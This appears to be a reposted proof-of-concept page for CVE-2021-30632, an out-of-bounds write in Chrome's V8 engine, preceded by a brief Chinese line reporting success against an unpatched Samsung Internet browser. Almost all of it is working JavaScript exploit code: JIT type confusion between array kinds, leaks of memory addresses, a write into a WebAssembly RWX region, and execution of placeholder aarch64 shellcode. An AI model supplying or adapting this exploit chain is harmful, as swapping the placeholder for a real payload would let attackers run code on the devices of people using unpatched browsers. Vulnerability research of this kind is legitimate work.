POC测试：
[成功] 针对三星浏览器v15.0.2.47进行测试，该浏览器尚未有谷歌的补丁。
poc.html:
<html lang="en"><head><title>PoC CVE-2021-30632 - Out of bounds write in V8</title><meta name="author" content="@Zeusb0X"><meta name="comments" content="Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch."><!--This bug is caused by the fact that global property "stores" for existing values with unstable maps are lacking astability code dependency in the affected versions.It is exploitable because global property "loads" benefit from "CheckMaps" removal when a stability code dependencyis in place for their value's map.The recipe for explotaition involves transitioning from an array of PACKED_SMI elements with a stable map to an array ofPACKED_DOUBLE elements and have multiple JITted functions that deal with each kind of array.Type confusions between PACKED_SMI and PACKED_DOUBLE elements => Out of bounds R/W.--></head><body><h1 id="pwn"></h1><script>/* aarch64 small routine which does ret 0xDEAD */var sc = new Uint8Array([0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0x10, 0x01, 0x80, 0xd2, 0xe7, 0x43, 0xbf, 0xa9, 0xa0, 0xd5, 0x9b, 0xd2, 0xbf, 0x03, 0x00, 0x91, 0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6]);var sb = new ArrayBuffer(0x1000);/* RET 0x2A */var wc = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wm = new WebAssembly.Module(wc);var wi = new WebAssembly.Instance(wm);var f = wi.exports.main;// We need to start with stable JSArray mapsclass Box extends Array{constructor(...args) {super(...args);}};var a = new Box(1,2,3);function set_smi_arr(smi_arr,x) {for (let i = 0; i < 0x200; ++i) {++i;}if (x) {a = smi_arr;}}function set_double_arr(double_arr,x) {for (let i = 0; i < 0x200; ++i) {++i;}if (x) {a = double_arr;}}function leak_elems_and_len() {for (let i = 0; i < 0x200; ++i) {++i;}return a[11];}function set_elems_and_len(d) {for (let i = 0; i < 0x200; ++i) {++i;}a[11] = d;}function read_corrupted_arr(corrupted_arr,idx) {for (let i = 0; i < 0x200; ++i) {++i;}return corrupted_arr[idx];}function write_corrupted_arr(corrupted_arr,idx,val) {for (let i = 0; i < 0x200; ++i) {++i;}corrupted_arr[idx] = val;}var b1 = new Box(1,2,3,4);set_smi_arr(b1, true);a.x = 1;delete a.x;for (var i = 0; i < 0x3000; ++i) {set_smi_arr(b1, false);}a[0] = 1.1;var b2 = new Box(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12);set_double_arr(b2, true);for (var i = 0; i < 0x3000; ++i) {set_double_arr(b2, false);}for (var i = 0; i < 0x3000; ++i) {leak_elems_and_len();set_elems_and_len(12.13);read_corrupted_arr(b2, 0);write_corrupted_arr(b2, 0, 1.1);}var oob_arr = new Box(1,2,3,4,5,6,7,8,9,10,11,12);var corrupted_arr = new Box(1.1,1.2);var leaks = [wi,sb];set_smi_arr(oob_arr, true);var ab = new ArrayBuffer(8);var f64 = new Float64Array(ab);var u32 = new Uint32Array(ab);f64[0] = leak_elems_and_len();u32[1] = 0x42424242;var init = f64[0];set_elems_and_len(init);f64[0] = read_corrupted_arr(corrupted_arr, 8);var wasm_instance_addr = u32[0];var sb_addr = u32[1];f64[0] = init;u32[0] = wasm_instance_addr;set_elems_and_len(f64[0]);f64[0] = read_corrupted_arr(corrupted_arr, 12);var rwx_low = u32[0];var rwx_high = u32[1];f64[0] = init;u32[0] = sb_addr;set_elems_and_len(f64[0]);f64[0] = read_corrupted_arr(corrupted_arr, 1);u32[1] = rwx_low;write_corrupted_arr(corrupted_arr, 1, f64[0]);f64[0] = read_corrupted_arr(corrupted_arr, 2);u32[0] = rwx_high;write_corrupted_arr(corrupted_arr, 2, f64[0]);var u8 = new Uint8Array(sb);for (let i = 0; i < sc.byteLength; ++i) {u8[i] = sc[i];}document.getElementById("pwn").innerText = f().toString(16);</script></body></html>
原文始发于微信公众号（PwnWiki）：CVE-2021-30632 Microsoft Edge v8内存损坏漏洞POC
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